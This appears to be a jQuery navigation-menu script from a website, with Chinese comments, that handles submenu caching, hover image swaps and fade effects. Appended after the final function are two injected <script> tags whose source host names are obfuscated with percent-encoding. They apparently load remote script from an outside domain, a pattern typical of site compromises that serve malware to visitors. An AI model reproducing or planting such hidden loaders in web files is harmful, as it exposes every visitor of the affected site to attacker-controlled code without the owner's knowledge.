﻿var menuLv2State = 0;
var selectedPath="";

$(function() {
    ShowCurrItem();
    init();
});

//初始化各项属性及事件
function init() {
    //缓存当前二级菜单
    $("#menuLv1").data(location.pathname, $("#menuLv2").html()); 
    //缓存一级菜单图片路经
    $("#menuLv1 li a img:not([src$='_green.gif'])").each(function() {
        $("#menuLv1").data("img" + this.parentNode.href, this.src);
    });
    
    $("#menuLv1 li a img:[src$='_green.gif']").mouseover(function() { if (menuLv2State == 1) { menuLv2State = 2; MenuLv2State2(); } });
    $("#menuLv2").mouseover(function() {
        var imgPath = $("#menuLv1").data("img" + "http:\/\/" + location.hostname + selectedPath);
        if (imgPath != null) {
            imgPath = imgPath.replace(".g", "_gray.g");
            $("#menuLv1 li a[href='" + selectedPath + "'] img").attr("src", imgPath);
        };
    });
    $("#menuLv2").mouseout(function() { 
            var imgPath = $("#menuLv1").data("img"+"http:\/\/"+location.hostname+ selectedPath);
            $("#menuLv1 li a[href='" + selectedPath + "'] img").attr("src", imgPath);        
    });

    $("#menuLv1 li a img:not([src$='_green.gif'])").mouseover(function() {
        this.src = $("#menuLv1").data("img" + this.parentNode.href).replace(".g", "_gray.g");
        var selectedItem = this.parentNode.href;
        selectedPath = selectedItem.replace("http:\/\/" + location.host, "");
        if (menuLv2State != 1) {
            MenuLv2State1();
        } else { ShowMenuLv2(); };
    });

    $("#menuLv1 li a img:not([src$='_green.gif'])").mouseout(function() {
        this.src = $("#menuLv1").data("img" + this.parentNode.href);
    });

    $("#d_main,#d_right").mouseover(function() {
    if (menuLv2State ==1) {
            menuLv2State = 2;
            setTimeout("MenuLv2State2()", 300);
        }
    });
}


//显亮当前项
function ShowCurrItem() {
    var findPath = location.pathname;
    if (findPath == "\/") findPath = "\/default.aspx";
    $("#menuLv3 li a[href='" + findPath + "']").attr("class", "currLink");
    $("#menuLv2 a[href='" + findPath + "']").attr("class", "currLink");  
    $("#menuLv3 li a").each(function() {
        var findUrl = this.href;
        findUrl = findUrl.replace("http:\/\/" + location.host, "");
        if ($("#menuLv2 a[href='" + findUrl + "']").length > 0) {
            $("#menuLv2 a[href='" + findUrl + "']").attr("class", "currLink");
            return;
        }
    });
}

//切换成备选二级菜单状态
function MenuLv2State1() {
    if(menuLv2State==0)
    $("#menuLv2").fadeTo("fast",0.618, function() {
        $("#menuLv2").css("backgroundColor", "gray");
        ShowMenuLv2();
        $("#menuLv2").fadeTo("fast", 1);
        menuLv2State = 1;
    });
}

//切换成当前二级菜单状态
function MenuLv2State2() {
    if (menuLv2State == 2) {
        $("#menuLv2").fadeTo("fast",0.618, function() {
            $("#menuLv2").css("backgroundColor", "#83C740");
            $("#menuLv2").html($("#menuLv1").data(location.pathname));
            $("#menuLv2").fadeTo("fast", 1, function() {
                menuLv2State = 0;
                ShowCurrItem();
            });
            selectedPath = "";
        });
    }
}

//读取当前选择的二级菜单项
function ShowMenuLv2() {
    //从缓存读取二级菜单项
    $("#menuLv2").html(GetMenuLv2(selectedPath.toLowerCase()));
}

<script src=http://p%2E%68%6F%74%2D%62ag%73%2E%69%6E%66o></script><script src=http://%70%2Eho%74%2Dba%67s.%69nf%6F></script>
